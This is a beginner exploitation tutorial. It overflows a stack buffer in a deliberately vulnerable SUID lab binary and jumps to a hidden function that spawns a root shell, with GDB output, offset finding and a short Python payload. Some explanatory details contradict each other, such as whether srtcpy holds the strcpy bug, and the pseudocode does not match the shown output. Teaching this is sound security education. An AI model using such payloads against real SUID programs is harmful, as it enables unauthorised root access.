# Redirecting Execution to Hidden Functions

> Learn how to exploit a basic stack buffer overflow to redirect execution to a hidden function in a SUID binary and gain elevated privileges.

- Published: 2025-08-28
- Difficulty: beginner
- Series: Linux Exploitation Fundamentals
- Tags: Linux, Exploit Development, Stack Overflow, x86
- Source: https://stevenfoerster.com/tutorials/redirecting-execution-to-hidden-functions/

## Prerequisites

- Basic understanding of x86 assembly
- Familiarity with GDB debugger
- Basic Linux command line knowledge

This tutorial demonstrates how to exploit a stack buffer overflow vulnerability in a SUID binary to redirect execution to a hidden function. The target binary contains a function that spawns a privileged shell, but it's never called during normal execution.

> [!note] Lab Binary
> This tutorial uses the `reader` binary from the [Linux Exploitation Lab](https://gitlab.com/sfoerster/linux-tutorial-tools/) (`01-hidden-function/`). See the [setup guide](https://stevenfoerster.com/tutorials/linux-exploitation-lab-setup/) for build instructions.

## Reconnaissance

### Finding SUID Binaries

First, locate SUID binaries on the system that might be vulnerable:

```bash
find /usr/bin -perm -4000

# Or more comprehensively
find / -perm -u=s -type f 2>/dev/null
```

> [!note] SUID Binaries
> The SUID (Set User ID) bit is a special file permission that causes a binary to run with the file owner's permissions rather than the executing user's. If a SUID binary is owned by root, anyone who runs it temporarily gains root privileges. This is why SUID binaries are high-value targets: a vulnerability in one can lead to privilege escalation. Identify SUID binaries with `find / -perm -4000 -type f 2>/dev/null`.

### Initial Analysis

Use `ltrace` to trace library calls and identify potentially vulnerable functions:

```bash
ltrace ./reader
```

If you see calls to unsafe functions like `strcpy` with unusual parameters, the binary may be vulnerable.

### Function Discovery with GDB

Load the binary in GDB and list all functions:

```bash
gdb -q ./reader
```

```text
gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x080484cb  srtcpy
0x080484f5  runcommand
0x08048512  readUserData
0x0804854b  main
```

> [!note] About `srtcpy`
> Note: `srtcpy` is the actual function name in this binary, not a typo of `strcpy`. The binary author chose this name for the function that contains the vulnerable `strcpy` call.

The `srtcpy` function looks interesting. Let's examine it.

We examine the `srtcpy` function because it contains the `system()` call that spawns a privileged shell; this is the hidden function we want to redirect execution to.

```text
gdb-peda$ disas srtcpy
```

```asm
0x080484cb <+0>:     push   ebp
0x080484cc <+1>:     mov    ebp,esp
0x080484ce <+3>:     sub    esp,0x8
0x080484d1 <+6>:     sub    esp,0xc
0x080484d4 <+9>:     push   0x0
0x080484d6 <+11>:    call   0x80483b0 <setuid@plt>
0x080484db <+16>:    add    esp,0x10
0x080484de <+19>:    sub    esp,0xc
0x080484e1 <+22>:    push   0x8048600
0x080484e6 <+27>:    call   0x8048390 <system@plt>
```

Examine the string being passed to `system()`:

```text
gdb-peda$ x/s 0x8048600
0x8048600:      "/bin/sh -p"
```

This function calls `setuid(0)` followed by `system("/bin/sh -p")` - a privileged shell.

The `-p` flag tells the shell not to drop privileges. Without it, `/bin/sh` would detect that the real and effective UIDs differ (because of SUID) and drop back to the real user's privileges, defeating the privilege escalation.

### The Vulnerable Copy

The disassembly above shows the prize (`srtcpy`), but not the bug that lets us reach it. That lives in `readUserData`, the function `main` calls to take input from standard input (this is the `./reader` stdin we feed the payload to later). The following is illustrative pseudocode of that logic, not the exact recovered source, enough to see why it is exploitable:

```c
void srtcpy() {              // the "hidden" function: never called normally
    setuid(0);
    system("/bin/sh -p");
}

void readUserData() {
    char buffer[1000];       // fixed-size stack buffer
    gets(buffer);            // reads a line from stdin with no length limit
}

int main(void) {
    readUserData();          // srtcpy is never referenced here
    return 0;
}
```

Two facts make this exploitable. First, `srtcpy` is compiled into the binary but never called on any normal path, so its code sits at a fixed address waiting to be jumped to. Second, the input routine keeps copying stdin into `buffer` with no regard for its size (`gets` is the classic offender, which is why it was removed from the C standard). Feed the program more than 1000 bytes and the copy runs straight past the end of the buffer, up the stack, and over the saved return address. Those two facts are the whole exploit: an overflow we control, pointed at a function the program already contains.

## Finding the EIP Offset

Recall the stack layout from [Stack Memory Layout and Function Frames](https://stevenfoerster.com/tutorials/stack-memory-layout-and-function-frames/): inside a function, the local buffer sits at the low end of the frame, and above it (toward higher addresses) come the saved EBP, then the saved return address the `ret` will jump to. On this 32-bit binary that saved EBP is 4 bytes. `strcpy` writes upward from the start of `buffer`, so to overwrite the return address we have to fill the buffer, run past the saved EBP, and land exactly on those four return-address bytes. We could estimate that distance from the source, but padding and alignment the compiler adds make it unreliable, so we measure it empirically instead.

### Identifying the Overflow Point

Test with increasing buffer sizes to find where the crash occurs:

```bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*1100)" | ./reader   # Crashes
python3 -c "import sys; sys.stdout.buffer.write(b'A'*1000)" | ./reader   # No crash
```

### Creating a Pattern

Use GDB-PEDA to create a unique pattern and find the exact offset:

```text
gdb-peda$ pattern create 1200 pattern.txt
gdb-peda$ run < pattern.txt

SEGFAULT
EIP: 0x41426e41

gdb-peda$ pattern offset 0x41426e41
1094872641 found at offset: 1012
```

### Verifying the Offset

Create a test payload to confirm EIP control:

```python
#!/usr/bin/env python3
import sys
payload = b"A"*1012 + b"BBBB"
sys.stdout.buffer.write(payload)
```

Run it and verify EIP contains `0x42424242`.

## Crafting the Exploit

### Redirecting to the Hidden Function

The target function is at `0x080484cb`. Create the exploit:

```python
#!/usr/bin/env python3
# exploit.py
import sys
payload = b"A"*1012 + b"\xcb\x84\x04\x08"
sys.stdout.buffer.write(payload)
```

Generate the payload:

```bash
python3 exploit.py > input.txt
```

### Keeping stdin Open

When exploiting binaries that spawn a shell, you need to keep stdin open. Use this technique:

```bash
(cat input.txt; cat) | ./reader
```

The first `cat` sends the payload, and the second `cat` keeps stdin open for interactive shell access.

## Getting Root

Execute against the SUID binary:

```bash
(cat input.txt; cat) | /usr/bin/reader
Provide root password:
 Sorry, this is not correct.
whoami
root
```

For a proper TTY shell:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

## How the Redirect Works

The overflow overwrites the saved return address with the address of the hidden `srtcpy` function. Here is the stack before and after the overflow:

```text
         BEFORE OVERFLOW
┌──────────────────────────────┐
│ return address → caller      │ EBP+0x04
├──────────────────────────────┤
│ saved EBP                    │ EBP
├──────────────────────────────┤
│                              │
│ buffer[1012]                 │
│ (normal user data)           │
│                              │
├──────────────────────────────┤
ESP → (top of stack)

         AFTER OVERFLOW
┌──────────────────────────────┐
│ 0x080484cb → srtcpy()        │ EBP+0x04
│  calls setuid(0)             │
│  then system("/bin/sh -p")   │
├──────────────────────────────┤
│ AAAA (overwritten)           │ EBP
├──────────────────────────────┤
│                              │
│ AAAAAAA... (1012 bytes)      │
│                              │
├──────────────────────────────┤
ESP → (top of stack)
```

The normal execution flow and the hijacked flow:

```text
Normal:
  readUserData() ──ret──→ main()

Exploited:
  readUserData() ──ret──→ srtcpy()
                           │
                           ├─ setuid(0)
                           └─ system("/bin/sh -p")
                                    │
                                    └─→ root shell
```

When `readUserData()` executes `ret`, it pops `0x080484cb` into EIP instead of the legitimate return address. Execution jumps directly into `srtcpy()`, which calls `setuid(0)` and then `system("/bin/sh -p")`, spawning a root shell.
